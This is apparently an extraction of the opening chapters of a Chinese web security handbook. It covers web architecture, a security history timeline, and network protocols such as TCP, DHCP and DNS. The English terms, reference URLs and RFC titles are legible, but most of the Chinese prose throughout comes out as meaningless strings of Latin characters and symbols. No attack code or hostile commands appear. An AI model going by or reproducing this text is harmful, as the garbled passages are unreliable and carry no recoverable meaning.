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CHAPTER 1

1.1 Web FARE{t

1.1.1 {HEmig

BATTE

Web BARIEBAINEL, W5k FNE RSN, KEuEILETE ISP b, i Scr e Bk, HIvEfZm
TR AT . S AT AR R e, A LR R T .

ZIEER

B R RN R R, H45. WU, Flash 22 SRR ORTEE T . ZEEARRINA SR TS S E s B4,
WL (22 LS Pt ok T AT AR

CGI BEx

Wy, ZEARC LA 2 AR, T5& CGI (Common Gateway Interface) NWizifiZ:. CGI X T
Web fiz55 &5 00N AR 2 (A A AR e AR, A Web fizg5 & nl Al CGL $ATAMIAEFF, 1EANE
FEFPARYE Web 53K A4 &S A A

TR, S PR TR W PHP/ASP /ISP g Wi AT, B X 25 n] ASE BBy . )
A B K B AR
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Ajax

IR, PR R G A RERIES R, PRItz . T2 Ajax (Asynchronous Javascript
And XML) ARG FRATHER , B AR ZEAS TR DU 1 B4 N T ASRAS 5 B i« axX (5 Web
IS AR 58 R [ S P2l A, ke T HEM 2% B AGRIBEE A MU HIAE B

MVC

BfiE Web W I JT & B #kbrfEfe, HBLT MVC ZEAH. MVC 2 Model/View/Control 455, Model
T BB MBI T, R View @%dar) HTML L, #5648 Controller figmigsK, HHf
Model 1 View,

Model, View il Controller [{43FF, &Pt B e S4B AR, RIS I PEF A ZWEE &, Web
I8 P ) T B A A SR 3 At AR i o T S 7 1) 2 A o T [ W S O Ok B R B SQL i), B
T ORM (Object Relation Mapping) A% .

BT MVC, RUisat B A MVP, MVVM 4.

1.1.2 H{iERXH
BRI E

1E Web SR KRN, HiJGmAHRFRHM Web KE . XML, SOAP 2B M i B 5.

RESTful

FE CGL Y, Al sl 3 2 B U™ M X 1Y, REE R AN Fa RN, w5 s AR ST AR 2R A
s £ BRI RIS 0y, IsATHE PO S, M ahnnE b dy LB g R T, il HTML5, CSS3,
JavaScript 4. J5d EBHE M ki 2Ry B BRI A A

JEiF, REST (Representation State Transformation) i —FiATHT Web Z244) KU o

REST &l AT URL RHLRGUIRE, o FH HTTP RHHIE L, ARG HTTP /5 —Fhicft
BoRE sl . — RESTful 4 AR AHHE :

o WA A IF

— api.example.com

— example.com /api/
o AT RS P

— api.example.com/v1

— api.example.com/v2

« fiH URL 5 Qs

2 Chapter 1. FFE
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— GET /users 3KEUIA H
— GET /team/:team/users R A BAFr A H F
— POST /users g#f{ |~
— PATCH/PUT /users &M P
— DELETE /users fIjBRHEAH P4
o 1 HTTP ghialilliidffi:
— GET KU, sz
— POST B
— PUT/PATCH SUH¥EU, % FimbR ibos B v I A
— DELETE %55
BT AR
— (TR R 25 32 [ ey ]
o BRIAMEA JSON % % =
A TR SR

GraphQL

T3 I 265 1 55 3 S5 AR AT SR 2R R 2R, Sl T A IX 2837 5, Facebook #EH T GraphQL , PAELRE
IR AT A . B s T GraphQL 524 APT A2 H 77 3.

Z

W A5 XPEREREOKREE S, AlS TR G HTTP /2, [ E X Protocol Buffer &5 75 AR M HREUE A H.

1.1.3 chjal¢f

RaEZRt

W55 R IBT AT, g5 A BORBA J . ARGER S RERR 0 B [ ROBEE, BT RICE . A SR
o QBRSSO Bl RHUAEK. G, CDN. JHEBS . 4B SR Y ok
Z, Wy Web JFERIE4ERIZ L -

P mESBOREZ , BrT Web Z4h i0S. Android 5 HAtg St BIAE Web IR 55 1% s 5t o
B e BT IR e 42, ML T Redis/Memcached ZE77 40 45 — 280 JE 12 75 SR A R e«

TR RS FEK, BT Lucene/Solr/Elasticsearch 2 R %545, Kafka/RabbitMQ/ZeroMQ
HE RS, Spark 1155188, Hive HIR G T-5 55 AR IR

1.1. Web ¥R#Et 3
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SR

B R IR R, B REEDUREX IR, A ARSI RER g SR T, TN
BT LA = BB A A s UIRSFHEZE (RPC).

Cl/CD
FrgidE il (Continuous Integration, CT) @ikFF A& A Gkt TAEAE B 20y SOh iy i /R o 9080 5 180 B T il
PR, WD RIREACI DN, DABRAR G Hoh 28 (1 7T BB .

Fr2E52ft (Continuous Deployment, CD) J2RFEEAE MY &, B KFHH AR IS 02 {0 3 2 T2 - B
AT W AE AR P B PP A M, THIIT 22 N BT DAE TC /B A TAR RIS LR, SRk
bug B4 slE MBI -

1.1.4 SRS

SR Z BT, KT ERIERAT AR RSHYENL, a8 N BB Y AR, R
JEHY IDC W25, SERUIRS AOERML, SRR (R @ A AR & . =iRS 2 )5, & DAE
WLz ML, Erbrt bty S, XPITsHgFRE TaaS (Infrastructure-as-a-Service) .

WEE A ARSE R, Nt T AN, SEIRAAL, S DI RER R 55 52 Serverless [
.

Serverless

Serverless ZeA4 i FER 41, B Faas (Function-as-a-Service) #1 BaaS (Backend-as-a-Service) .

FaaS iz, M EAETHRERATI R0 — L e BT S5 . BURALIEAT 55 58 = ke &, BUE
Froctifdeas . HbaES, Wil LAl 276 52 R B AT .

BaaS W8 T s ss 40, BET APT SEut = lids, 2528, XAt . WES. HEMRs
FE.

R 35

TR S5 IE T 2005 4F Peter Rodgers 1 1-7F 2 iz B VS 242 5% Web Jlx95 (Micro-Web-Service), i
Zs AR ZEDITF Unix W& ERTTHES . 2014 4£, i Martin Fowler 5 James Lewis FL[R42 1 TR S 0% &,
FE ST IR S5 BN KA 2 — Pl i — B /NBU AR S5 Sk FF R BN IR B IRSGS 21 TE H ik, IF
gL A TE I (HTTP API)
TR 55 72— Bl FH 1 235 T R0 28 A R B A XA o & R BRI 2 A 1 0R 2 i R B I 7
¥

o BMMRSUIENER, LTI GEOSE.

o BAMRSEEEIG . AR, PTRASSZ I TR . ORI A R
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o ARG ZIRGERD APT )y A T
o FAMRSFIIAMASLHPIRAS, H H R BRI IS5 AR B R HAT YT

APl F%

APT W52 asa, 2 om AT R A5, S APT ¢, i APT [ RPN 5
S fZ 55 BT IR, RN P A S5 R B EGE B APT ¢ ERT, i 55 1 BRAR A B AT DASEEI X8 7 oo
B, — R RSB 1 RS IR B AR BRI R AL 55 IS5 A, R 5596 BRI TG B A 5 S B

1.1.5 &%

e Scaling webapps for newbs

o GitHub A9y Restful HTTP API %114

1.2 MERPBHE AR

1.2.1 e RE

1939 4F, FIRBME T Enigma, MHRAIETHR TPAE, KRB PO TRNLIL 2T BHE AT
AT SEHL S AR, A Sl 7 AR Rk .

1949 4F, 2y - 5 - K2 (John Von Neumann) $& iy T —Fal { RE HIMFLF AT, EHAAAZHEH
EA P B

1970 43 2009 48], FEHE HFFRAKI AR, M4 ZatITIGIEANNTIOIET . TER 25 R RAI, RE A
G REN, LB IRWEARE KK REREWBATHRBE Tl i:, X RemnsEre, i
PATEY IR S5 G R R T |8 5 — 8B BN TR, AT DM 5 W E B Ea s AR

1972 4£, ZEpp X H Bt gl Computer Security Technology Planning Study #2H .

1984 4F, Ken Thompson £ Reflections on Trusting Trust — XN T B O UM LEgRIEEs P MG 115k 3k
B Unix AR, X258 F Ly 55 5t

1988 4%, Rt FeAfg K 2% (Carnegie Mellon University, CMU) i—{vi2#4E AR H 14w T Morris Worm,
XoF 214 B 1 B D90 365 B T AR A

[4, CMU i) CERT Coordination Center (CERT-CC) 4 T Ab# Morris Worm X} B .5 W & i AR, 4
BT A ELE S /N4 (Computer Emergency Response Team), T f543kEZ MEZ . HX., Bk
H T CERT. SRC ZE4H4,

[FFEEAE 1988 4, Barton Miller #HZAE BN A2 TTEVICK U, BRI Fuzz A (Fuzz

Generator) RS, T Unix FRF RO, B BENUEDE R ISR B A A5t UL, Barton Miller
A EPURE 2 ONC W MY U e

1.2. FEBBRAEL 5


https://arcentry.com/blog/scaling-webapps-for-newbs-and-non-techies/
https://learnku.com/articles/24050
http://pages.cs.wisc.edu/~bart/fuzz/CS736-Projects-f1988.pdf
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1989 4F, C.J.Cherryh %3 T/ The Cuckoo’s Egg: Tracking a Spy Through the Maze of Computer
Espionage , &A@ EERIGBW R LW EL A, E5 P i T RBERORI I .

1990 47, —SBRIZRET KA T AR tH L, M 2O BT R 8B Ak, TDAALEE FTP <55 AR .
1993 42, Jeff Moss i 43 4EAE 2 [ N AR M i 48 i Jp DEFCON (54 DEF CON, Defcon,

or DC, &k KItHENZ ez —) . CTF (Capture The Flag) W#RERMEEIET 1996 £y
DEFCON .,

1993 4% 7 J1, Windows NT 3.1 %Afi, SIAT HOrANIE. Vil e v a8 e e HiL, etz mm
Windows 9x WAZJLF- B 24 4= AL -

1996 4F, Smashing the Stack For Fun and Profit &3, fFHERRRISE b X% B A9 F) 5 X B 1780
THE.

1997 4Fike, Jeff Moss JFUf25p Black Hat , PAHSZ IS 3715 B L2 R A AR, 2 H w51k,
Black Hat 2 7ERICHAIEIN 21T

1998 4F 12 H, Jeff Forristal 7E—fw & 422 TEH SQL AR5 B EH—A Mk Fl 1, Mt SQL
AT R Z 1 HE .

1999 4E 1 H 21 H-22 HAY% — g Research with Security Vulnerability Databases [ WorkShop |+, MITRE
Al N David E. Mann #1 Steven M. Christey k3 T —#44 4 (Towards a Common Enumeration of
Vulnerabilities) WH KA, $#£H T CVE (Common Vulnerabilities and Exposures, & F g3 ER) FIHE,
TEYFWCEIFAFF T 321 4~ CVE il

1999 4E 12 A, MSRC f)—LE TREN A I T — 28 p ub gy ARSI B, A1 7E R B R 5 A FF T X Fhag
i, FEFRA Cross Site Scripting.

2002 4= 1 H, Microsoft X2 T “W{5#iT1E" (Trustworthy Computing) 1%, PAES BI#ALE WA IR 5518
AN ARG, WM, FTEEMEPA RO S5 5E M, SDL (Security Development Lifecycle) tLAEIHH
e .

2001 4 9 H 9 H, Mark Curphey j33) 7 OWASP (Open Web Application Security Project) Wi H , JFH1E
FEX g — 28 Web Hifi o R SCE . T T A

TEZ J5, Responsible disclosure / Full disclosure £ &t ARt A AT ILE 2

2002 4F 10 A 4 H, Kevin Mitnick %32 The Art of Deception (H{IRMZA) IR, XA BLEAINNE T
Fho TAR2EAESGE o2 el 1Y, Kevin Mitnick WA @12 TR 1L S .

2005 4 7 A 25 H, Zero Day Initiative (ZDI) 7, &3l TeiT AR .

2005 4F 11 H, ETM 1941 4 2 A TS IRIREFR 21 % &%, Director of National Intelligence & i i3

Open Source Center (OSC) , #ATIFIRETEMRULEE, )5 Open-source intelligence (OSINT) AT &t AW
INIIVNE

2006 4F-, APT(Advanced Persistent Threat, gl Fraediil) Bt mkasi a2 , FHRHFEIRAM 20 4 90
AR E 21 AW AE I [ A S0 FNBURT I 45 b & B Beiie ELRR 22 1) I 46 <k

6 Chapter 1. FFE


http://www.phrack.com/issues.html?issue=54&id=8
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2006 4Rk, SEEE 224 HR (DHS) JHAHPIAFEEEFT IR “MZXE" (Cyber Storm) FAEZL M 2 FF
>

BEE AR K, BB TR, BT B ZamB B s . TEBGE &AL wiA B G
oo PR B AR, U S RE A4 o ARl Ao 2L A BT A5 AL AR A Bl A S B AR I L 7 ST
WREEE2] AW ELG R 2 R —E R B Al iR G, — XA RGEM T IR, W
T ARAELAY R, S E] 1 H AR — P Tl AR FARERED BAR R R, A IR R IS5
—SERfE LA AR ) oL 95 HE

2010 4F 6 H, EM (Stuxnet) §{ &M, FEXZ Sl A% T FOEIT IR Bk W 45 25 [8) 2 R 24 B 2 — . Bl
Jil) XcodeGhost, CCleaner (LR HETH S ARG B T KM

7E 2010 4E Forrester Research Inc. TR E T “FEE” BB AT,

2012 4 1 A, Gartner A aE]HEH T IAST (Interactive Application Security Testing) WM&, 24t T4 &
DAST 711 SAST Wifh$e RAfE %

2012 £ 9 A, Gartner A TS H1 David Cearley $2H T DevSecOps WM&, 8 DevOps HIFAEN %M
TR

2013 4, MITRE #£H T ATT&CK™ (Adversarial Tactics, Techniques, and Common Knowledge, ATT&CK)
;IR UG LA R R et vh & BOT B BRI AL

2013 4F, Michigan R2EFFAG T ZMap JiH , 1 2015 4FX DM H ALK Censys , MiXZ J5 M 2423 [A] N 23 1)
T H 32

2014 4 £ Gartner Security and Risk Management Summit [, Runtime Application Self-protection (RASP)
RS BRI , TR BT 2R

2015 4£, Gartner FHRIEH T SOAR IS, S E X2 Security Operations, Analytics and Reporting,
R 22 4im e A5 ety

2017 4, Gartner X SOAR #&M T EHiE X Security Orchestration, Automation and Response, H[J%74:
gtk by .

1.2.2 &35HE

« OWASP

e NT Web Technology Vulnerabilities

e History of CVE

e history of some vulnerabilities and exploit techniques
e securitydigest

e Early Computer Security Papers: Ongoing Collection
e Security Mailing List Archive

e Computer Security Technology Planning Study

1.2. FEBBRAEL !


https://en.wikipedia.org/wiki/OWASP
http://www.phrack.com/issues.html?issue=54&id=8
https://cve.mitre.org/about/history.html
https://documents.pub/document/history-of-some-vulnerabilities-and-exploit-techniques.html
http://securitydigest.org/
http://seclab.cs.ucdavis.edu/projects/history/CD/
https://seclists.org/
https://csrc.nist.gov/csrc/media/publications/conference-paper/1998/10/08/proceedings-of-the-21st-nissc-1998/documents/early-cs-papers/ande72.pdf
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e Smashing The Stack For Fun And Profit

e Happy 10th birthday Cross-Site Scripting!

e About Microsoft SDL

« ABOUT ZDI

¢ Open-source intelligence

o Runtime Application Self-protection (RASP)

e ZMap: Fast Internet-Wide Scanning and its Security Applications
e A Search Engine Backed by Internet-Wide Scanning
e Black hat About

e The DEF CON Story

e Reflections on Trusting Trust

e What is DevSecOps?

1.3 MEREY

1.3.1 MBRETENL

W 2452 4z — NI E AR A5 SR GERE IR B F LRGP B sz 2GR, A AR Bl 8
WER. SEC. MR, RGREES:. W, IEEHLETT, RS AT, PR R AR 45 R T RS
PRIRTE R A 24 R I fE

W 28 e AR [RIASE ALY, I A R R R, BIINARGEB T E e . REME BN LA 5 REE 557
455

W28 G A AT RAUIE T HEbE . W RS, SEB k. R TTHOE M . T WA MR K
=AM EAR B ZEHE N (Confidentiality). 5221 (Integrity). B 4 (Availability),

PUE TR AR S St AR AU P et nT DA RO . B OrAdE. D7 24 fE il
SRR, AT BB L5 B ARAM S A B A T B, R S B RO R A AFE .

SERMER AR G EAE R . St AP B R, GRS E EARIA B . AN ERINE R ARESBUAfE
AR, AR AN AL

AR (e R IR T B B A ORI IR Bl e AR IR w19 00 R REVKAZ (E et . FE R GEast T
IEFAFIIT TR S, YRS R AN SRy, AT DATRGEWR I I REBC AT o 2 5 0 2% (5 B AR GE I 1)
P — Rz bR, DABRER N T PR BUIRSF -

W 252 4 B R R ORI 25 BB ARG 1 224, Bl e MR AR ORECE ORIt , SR P X A4 T
e . FeRs . BEOIRIRSE, BE Tt R FERITEG, TORTEEE R AR et i
S R AR
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https://inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf
https://docs.microsoft.com/en-us/archive/blogs/dross/happy-10th-birthday-cross-site-scripting
https://www.microsoft.com/en-us/securityengineering/sdl/about
https://www.zerodayinitiative.com/about/
https://en.wikipedia.org/wiki/Open-source_intelligence
https://www.gartner.com/en/information-technology/glossary/runtime-application-self-protection-rasp
https://zmap.io/paper.pdf
https://censys.io/static/censys.pdf
https://www.blackhat.com/about.html
https://www.defcon.org/html/links/dc-about.html
https://users.ece.cmu.edu/~ganger/712.fall02/papers/p761-thompson.pdf
https://www.devsecops.org/blog/2015/2/15/what-is-devsecops
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1.3.2 RGeS

FRAREAG NN, FEAGABEESTR ., 5. Pk L A5 5 SUREAR T e Ay T i i A m] i
B AR RN AT AR SR BRI B MEEMIIIREAE, MM MERGAL T AR, BT
Wi

BEPF B IR A e 55 P R R BN B L TR A, RT3, SRR 7 R IR K

AR ME S AP T BT R T ARSI st B A, ANt s BT I IR L, B T (e
BARG LTI IATRATEE

1.3. MEZEN 9
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CHAPTER 2

BRI S il

2.1 FLEEl

2.1.1 {HEHEEMEAR
FHEML % f S TR TR . Pl 7 S BB TC S A R a3k, AT e g 254
PR GO B . S H IS,

Hrh IR T M2 EALE G ARG, G EIL. Kumfl R TaE, BRI 3 2R 1 P
VRRCE . B AL PR B B PEAIRE 3 S DA R 5 I 4

SR UE, TR MR — il 5 1 R . A T M A R R RS

2.1.2 EiShHil
N T SRR A P S At , S0 Tl AT piS, HoE SR EEMA0r (£ 0r) X
PEAT A5 R A Fr e AR Sy 1) — RE AL
MR BB =R, 50
o A IR EE SRR R Rai ks, DARERE R BUNF R R X
o WS TR LR AR R Y R
o T SRS I A

11
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2.1.3 OSI tEER
&g

OSI (Open System Interconnection) - ¥ BlE . HllRbErZ . MAEZ. LHZE. 2102, rE. N
B, HAEKIIREWT

R

o AROUESL. EPAIREY) PR TR LK. D RERIAR SRR
o JEERAR B TEEER (R ARG e Ay R A
o WECREEHZHN0T, R AR R R Z B i L (5

HiEsEEE

o TEVIBEBERH M b 7] R

A I 285 J2 S A ) B (A A0 14 i S e AN s il
S PRSPyt A Al

RGN0 21 T A 3 e AR ) 2
AR B AR it

mEE

o DD B v A RSO D B R S, Ao I A i A T A
o UL AR RO S 19 4 1) (e R 2 ) BT A )

o (o P TR A A SR TR ) R B SR Y D

o ARIALITHEFR N4l

Wz

o RPN E L

o BNORAKTRMESE, R, KRR FBCE N AL, 1 4R A8 4T o 4 5 B A
IEFREIREATM H fth

o TERGEZ BB T AR Z I 05t 1, e Pt ) i 14 8 DR 0 A A AL A Al

12 Chapter 2. HEHFLE S5l
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2GR

o R R TR)E F AR Y PR

o ATTHATLIEHN (0 HEHR A VR LB AR ) o (R RO I A B 24 i 2 A i E ST,
R

o i LT A 2R 2 AT T AR 2 O T fE

TRE

o PROBCEEREAR. BB g AD FE R

W R OEAEAL B BRI TR AN 3L

REIH S A I 1A i A o

PRAT RS2 B8 s e A

M HZEIAR R, Fiussl, HERRISNR, RERAHAENHZEF

N B

o WIEAFR, EATESCT BB A A A R SOPE R AR

ST

0%

= ERAE T 70, R PRSI, #F R Mg A48 (hop-by-hop) ShALAl, 77y
MR 2% 2 B ek B UEATIEAR o ol SRR A A B RIS, (RO T LAY R PR A

R BT R T, R R SRR B PAIE R T B (1R 8

etz m = 2R EZ D, RS — M unEbmrZ 0, PRAIEE A e, 2 N PR sy
Fist (QoS) R, Il =2t andE s B .

2.2 UDP {hi¥

221 FERS

o WBOTE/N. 2.

o UDP @TiEHN, HAREOE 2 mi AT B i
o UDP IR RS J152ht, BRI PRIE AT FE5Z A
UDP A e .

o UDP S{ff—Xf—. —XZ. ZH—MEZXL L HEIF.

2.2. UDP ¥ 13
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o UDP WEHHE/D, HAE 8 A4F

2.3 TCP thi¥

2.3.1 &

TCP (Transmission Control Protocol, f&#i#zbiltul) 2—Fim iz, nEEY . BT ie =
fEPil, i RFC 793 5E .

SRET
ST (Three-Way Handshake) RAFHL—/> TCP WEBT, T34 PORFURS A I L% 3 1 EIAHS
WIS 2.

F—UARFE RGO SYN By 1, B E—AME seq=s , HRZEI 0 ARG NS i, %7 ik
A SYN_SENTRZS, S5FRS5mbfiA.

5 AR T RS i B R R ARG AL SYN=1 HLE% Fimit K2 EH, RS umRiinE s SYN fil ACK
#EHN 1, ack=s+1, B4 —AME seq=k , HFHZEIHE KB LK P um AN ER K, RS mitA
SYN RCVD .

FBEIETRE P IEIIANG, K ack (H2EN s+1, ACK Ar&Efi@E R 1, WRIER R &S ACK
B 1, ack=k+1, HRZEIRE AL ST, M55 miea ack (27N k+1, ACK FRiEfi@dh 1,
RIEFNER N ), &P unAlikssbndt A ESTABLISHED RE, SEM=04ET.

mRIET
PIYHEF (Four-Way Wavehand) 77—~ TCP 8, T4 P RS i8S 5% 4 1 ARIAIE
BT

B WHEFH PR FIN | FIR S PO B S SR B RE , & PRI FIN_WAIT_1RAS.

BT RS s FIN J5, KiE—4 ACK S% ), #ilFS AR EFs +1, RemiEA
CLOSE_ WAIT k7.

B = RAET IS5 i Al —A> FIN - AR K PS5 s 2 % P am ) Bt , st A LAST ACK MR-

FURIETE P miE FIN J5, % umdt A TIME. WAIT JRE, #E kL4 ACK 43llts5um, #ilTs
FWEN T +1, RSt CLOSED WA, SERRIETF

2.3.2 R

IR G PR SO 2, IR S5 RN BB, DASR [RRIX R4 T A R P RE T e B, ™
IR A8 2 I A 7 95 B AN BT BB R
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TCP R A0 ZEE MR BE R P ZE R 1) A A2, TCP P ZE R A i Z RS2, {245 Tahoe, Reno.,
NewReno, Vegas. Hybla., BIC . CUBIC. SACK. Westwood. PRR. BBR %.

2.3.3 SEHE

e RFC 793 TRANSMISSION CONTROL PROTOCOL

e« RFC 2001 TCP Slow Start, Congestion Avoidance, Fast Retransmit, and Fast Recovery Algorithms
e RFC 3390 Increasing TCP’s Initial Window

e« RFC 5681 TCP Congestion Control

e TCP congestion control wiki

2.4 DHCP thi¥

2.4.1 &5
NS EHE E PP (Dynamic Host Configuration Protocol, DHCP) & —/~H F J5E M i M &, 17T
OSI B H 2, EH UDP thl TAE, FZEH T HZAE IP #ikkgs -, 7 (88 gk v —4E .

DHCP 552t M 67/udp, &P ufiii] 68/udp, DHCP izfT4r HPUAEAIRR, 750K 1P H12Y,
fefit IP filZh, Medk IP MIZAIHHIA IP 129, P omfedkiis 7 —A> IP uhkDAS, sinlPA%E—4> ARP dif
SOREEG T DHCP JIRSFAF b E B 5] A1) TP w5,

2.4.2 DCHP R

01234567890123456789012345678901

Fot—t—t—t—t—t—t =ttt =ttt bttt -ttt -ttt =ttt =t b=t —t—+—+

| op (1) | htype (1) | hlen (1) | hops (1) |
e Hmmmmm o oo Fommmm o +
xid (4)
e e +
| secs (2) flags (2)
o e et e +
ciaddr (4)
o +
| yiaddr (4) |
Tt +
siaddr (4)
- +

(QE3)
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(8 L)

2.4.3 BEHEE

« DHCP Wiki

RFC

e RFC 2131 Dynamic Host Configuration Protocol

e« RFC 2132 DHCP Options and BOOTP Vendor Extensions

e RFC 3046 DHCP Relay Agent Information Option

e RFC 3397 Dynamic Host Configuration Protocol (DHCP) Domain Search Option

o RFC 3442 Classless Static Route Option for Dynamic Host Configuration Protocol (DHCP) version 4
e RFC 3942 Reclassifying Dynamic Host Configuration Protocol Version Four (DHCPv4) Options

e RFC 4242 Information Refresh Time Option for Dynamic Host Configuration Protocol for IPv6

e RFC 4361 Node-specific Client Identifiers for Dynamic Host Configuration Protocol Version Four
(DHCPv4)

o RFC 4436 Detecting Network Attachment in IPv4 (DNAv4)

2.5 BHREZE

2.5.1 &

¢t AR T T R B — A Rt 25 2 H A0 R B iR IR AR IR . (PR SR i B, BRI SERT
25 ER AR BRI NN s T RA S 2 MR ARE (metric), T DA [] % e SA 0 S LR A0k
AR,
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https://tools.ietf.org/html/rfc3046
https://tools.ietf.org/html/rfc3397
https://tools.ietf.org/html/rfc3442
https://tools.ietf.org/html/rfc3942
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https://tools.ietf.org/html/rfc4361
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2.5.2 BHEFHZENTHEE

U/ ME R Z BB AR, DABCHe e % oh 2 S SRS B EATTAY H i 3.
R IRA R R

o IEHATE: PR AIETY AL E] H BT A

o fAELE: SCBAOTRE, FORECEITEE/IN

o FENME: ARG, SVRREASE MOl 55 AN R 234 M AE 1L

o FEME: BEKIIH TC#EBTT
o WPE A REE VLS LA R

DUt R eI

[ ]
=1

2.5.3 Bi&% % AS (Autonomous System)

e
o MGV B B R A4
o BEAI—Fh AS PATRE B e R SORI I ) ) B R DA 2 4LAE % AS NI
o BEH—Fh AS ZIA) R e EE P UUT AR E 20 AIAE. AS Z B B -

FRAE—A AS [T Z R0 A B e SORI B B, (EDGHAl AS RIS )@ — AN B — A 1 — B ey b 45
R o

2.5.4 FXIIEBIEFHY

R RI A, 3% F P SORT DA PRI bl TGP (Interior Gateway Protocol) F1ANHM & EGP (Ex-

ternal Gateway Protocol).,

IGP J27E—/> AS PP I 0 B% F 5, 1 RIP AT OSPF $ipL, S 3 P % B 4% (interdomain routing) .
BIFEHURE B EHUEEARRIR AS v, FEBRIRE K AS B FHns, 6 AMERI XA EGP K% h 2
FEARBE S N ERAL T, W BGP-4, ZEH hk$E (intradomain routing).

2.5.5 RIP

e {E B (Routing Information Protocol, RIP) e/t g [ k() i ph gb B S . RIP HMSUEER K
g5 PR — N AR A LA N E A B IR R G A HAAE— 1 R 0 255 A BE R T — kit R ARt
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2.5.6 OSPF

Hrc SR (Open Shortest Path First, OSPF), XA O kA2 ide” 2 1] T Dijkstra
P iR ARINE SPE, FUE— MM A Y, BTN HALR Bt B A2 R

2.6 HEZRG

2.6.1 &1y
DNS & —AMaf AR K- S M, 24 A TP s A B W i — AN A B E, RERS N 7 b
i HER . DNS ffiff TCP F1 UDP H¥[ 53 w11,

2.6.2 Ri=
mDNS

Multicast DNS (mDNS), £3#% DNS, fifif] 5353 i, ZHiFHuhtly 224.0.0.251 o [FF02::FB] . fF—
MEAFE DNS [l 552589/ 48 N AT PAE A mDNS SESCEIZEAL DNS M gafesz . g fEE .
mDNS ¥4 SC S DNS By SCa5HAHIR], A LSBT mDNS SR3A Hi & o

JEB mDNS {4 EALSAETEA SR 5 A BRI S, w B4 . IP S8EE, HAaAH R 51
EAL SN B IP ffE R

mDNS i 2 . local A1k X IR o
FQDN

FQDN (Fully-Qualified Domain Name) 24 H5ZE£ES, TEEOEZERKEHRIRE , Fl vww. example.

com. o

TLD

Top-Level Domain (TLD) /& /& TR —M8, #il40 com B jp .

TLD —f% 1] PA%4>k Country Code Top-Level Domains (ccTLDs) . Generic Top-Level Domains (gTLDs) PA
FHE.

IDN

Internationalized Domain Names for Applications (IDNA) &5 TA¥EIE ASCIT FEAFRI B I .
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CNAME

CNAME HJ} Canonical name, XFf alias, #3184 4817 55 — 844 .

TTL

Time To Live, JLAF5HAEL, i3 DNS il IR, f/vg 0, ok 2147483647 (2731 - 1),

2.6.3 iE>Kkom R
DNS &

o Al
— IR [AIAA X ) IPv4 HiLhik
o NS il
— I 55 A
— IR[AIE A th R 404 I 55 A AT
« PTR il
— IR
— M IP HihEF)I 4 sk
o MX i3k
— HLTHRE RIS
— LSRR AL 0 R R TP ik

0] 7 5

« NOERROR

No error condition

« FORMERR

Format error - The name server was unable to interpret the query

o SERVFAIL

Server failure - The name server was unable to process this query due to a problem with

—the name server

2.6. HERG%
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« NXDOMAIN

this code signifies that the domain name referenced in the query does not exist

« NOTIMP

Not Implemented - The name server does not support the requested kind of query

« REFUSED

Refused - The name server refuses to perform the specified operation for policy reasons

« NODATA

A pseudo RCODE which indicates that the name is valid, for the given class, but [there]

—are no records of the given type A NODATA response has to be inferred from the answer.

2.6.4 BERGTIERE
fRTILEE

DNS ftrid et s A ny, AT

o WP, www.example.com I, JeAFAML hosts REAILREFAYZEA DNS A7,
RA, EARREIGER, 150 1] iR 55 4 AL 1) 1P kit

o BBIHZEAF AN, E AR ST AR AT com TR TP Mtk

o WIS ERE RHUE AR5 & com TRZUERA IR 55 #4114 TP Huhk

o GBI com TRGIENA Ik 55#% &if) 115¢ example.com HYALRIR 5541 TP
o com TRZINA R 55 R A R TP Mok

o I example.com FIRUEIRSS#8E ] www.example.com [RHBAEICSE
o BUBIRS 234590 www.example.com [RIHLIEE S

o FBIFIRS FAF A A LR [ P

g

DNS Hie 95 il VAZ» N TR 554« s 0 IRS5 e M7 I 55 4 o A% 102 18 4 U il 57 4 A T 55 45 % DL, 9
(AT 2 AR SR B SRR A . A% R R A T A IR S5 A IR R AP S R BIL
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2.6.5 R352EEY

AR 5528

MRz S5 #52 DNS %L, ST HERM TIGURA T, T 4Er i BUsE B, FH1F DNS #ifg5] 5 24
IS PR 3884 IR 55 4 -

MR 5 A AEIk A B AR AR TR - i, — TG

13 & IPv4 BRIRFG 245550 a 3] m, B a.root-servers.org F| m.root-servers.org, JH RS 217
B, AL ICANN H#EHER) TLD 354 BUgE B -

BB AR 55 28
BB 55 4% _EAFAHIRA Zone UM, HEIsk A4 OBURAR L, BT AR 55 45 1T PAMBUBIAR 55 453 3545 DNS 5
W B IICR .

BB 55 45 5 ZAE PR 804 g i) TLD AR, 7 Usiik 55 4% 7T AR AR TLD 3847, (7]
— Nt n] A ZABURIR 55 4% -

YAk 5528

T 55 A AT HMON ALK, SEAT BRI Y AT oK . FERIARI I S5 R A LR T
M4 1 Hint SCHF.

2.6.6 DNS FH

DGA

DGA (Domain Generate Algorithm, 344 ) J&—FhA HBEL AR A B C&C 3845, AT bk,
AL BRI AR TFB, # LT botnet W —fRUL, —A4> DGA I MAAE I RIZUTE 1-7 KA .
WAEHT, &P umAikSs wmlaiTR—8 DGA Jyk, ANME R s 5%, UFEELBEE R eHE, 1k
BEHA/ DTN, AT DAE A, ELT DAL B AR TP FR, phEi AR TP, A4
1 IP HR AT DA TP AR AL o

DGA &2 H Z Al =, REEFh 2S8R DA W e PERURH 2 YR AR i ASHf 2 PR AP ] BE 2158
2RI —LE R IEICE A RAE BAE

DNS [#iE

DNS B3E T H AR A RS ) A P B2 2] DNS Wl FERERIE EARHT . X Lo 4t th Rl e EA T/

2.6. HBRG 21
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2.6.7 MFBEHE

YER T RIS, DNS ISaHM T E, 752 DNS-over-TLS (DoT). DNS-over-DTLS. DNS-over-
HTTPS (DoH). DNS-over-QUIC DA} DNSCrypt.

DoT

DoT J5%4F 2016 4%z T RFCT858, f#iJf] 853 i, FEEAHSE Client 1 Server j#id TCP M7
TLS 2:1% )5 F#HT DNS 14, Client jfiid SSL iiEHI k4545 S

DNS-over-DTLS

DNS-over-DTLS il DoT %f8l, KHIETFHJi UDP Hiislii A2 TCP Hixl.

DoH

DoH %7k # RFC8484, fififf] https://dns.example.com/dns-query{?dns} K&k 52500 [P, & H
https Y 443 ¥, JERHE R /N, DoH &% DNS R4 e A7 AL, AL fallback %W, H Al
Cloudflare, Google k%1% DoH 24t T 7 4.

DNS-over-QUIC

DNS-over-QUIC Z4HEA DoT KM, (H2 PR, HuideH Skt

DNSCrypt

DNSCrypt f#iJf] X25519-XSalsa20Poly1305 1fjdEAR#EK) TLS, H DNSCrypt [ Client T3 Z&0 5041,
Server FFEH LT IIET

2.6.8 XTI

DNS #)$%

DNS $f 275, R Beti )y 208l i Mot AR o5 4% . oo Dhits DNS ARz 75k, sy
A AT RS 1P Mk,

